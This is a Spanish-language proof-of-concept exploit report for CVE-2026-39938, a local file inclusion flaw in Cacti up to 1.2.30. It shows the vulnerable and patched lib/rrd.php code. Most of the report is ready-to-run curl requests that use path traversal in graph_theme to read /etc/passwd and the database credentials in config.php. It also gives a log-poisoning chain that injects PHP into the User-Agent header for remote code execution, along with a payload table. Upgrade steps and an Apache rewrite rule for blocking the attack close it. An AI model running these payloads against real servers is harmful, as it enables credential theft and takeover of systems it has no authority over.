
Exploit de prueba de concepto para CVE-2026-39938: inclusión de archivos local no autenticada en Cacti <= 1.2.30, que permite lectura arbitraria de archivos y ejecución remota de código mediante envenenamiento de registros.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-39938 |
| Puntuación CVSS | 9.8 (Crítico) |
| Producto afectado | Cacti |
| Versiones afectadas | <= 1.2.30 |
| Versión parcheada | 1.2.31 |
| Commit de corrección | 9871f0c |
La vulnerabilidad existe en lib/rrd.php donde el parámetro graph_theme se usa directamente sin sanitización:
CÓDIGO VULNERABLE:
if (isset($graph_data_array['graph_theme'])) {
$rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}
CÓDIGO PARCHADO:
if (isset($graph_data_array['graph_theme'])) {
$theme = basename($graph_data_array['graph_theme']);
if ($theme === '' || $theme === '.' || $theme === '..') {
$theme = get_selected_theme();
}
$rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}
El problema: No hay validación contra secuencias de path traversal ../, permitiendo a atacantes leer archivos arbitrarios sin autenticación.
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"
Resultado: El contenido de /etc/passwd se mostrará en la respuesta.
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"
Resultado: Las credenciales de la base de datos (usuario, contraseña) quedarán expuestas.
curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
-H "User-Agent: <?php system('id'); ?>"
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"
Resultado: La salida del comando (por ejemplo, uid=33(www-data)) se mostrará.
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php
http://target-cacti/graph_image.php?local_graph_id=1
Con la cabecera: User-Agent: <?php system('id'); ?>
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log
cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31
grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename
RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]
Informe generado con fines de investigación en seguridad Fecha: 27 de junio de 2026
| Punto Final | Parámetro | Ejemplo de Payload |
|---|
/graph_image.php | graph_theme | ../../../../../../../etc/passwd |
/graph_image.php | graph_theme | ../../../../include/config.php |
/graph_image.php | graph_theme | ../../../../../../../var/log/apache2/access.log |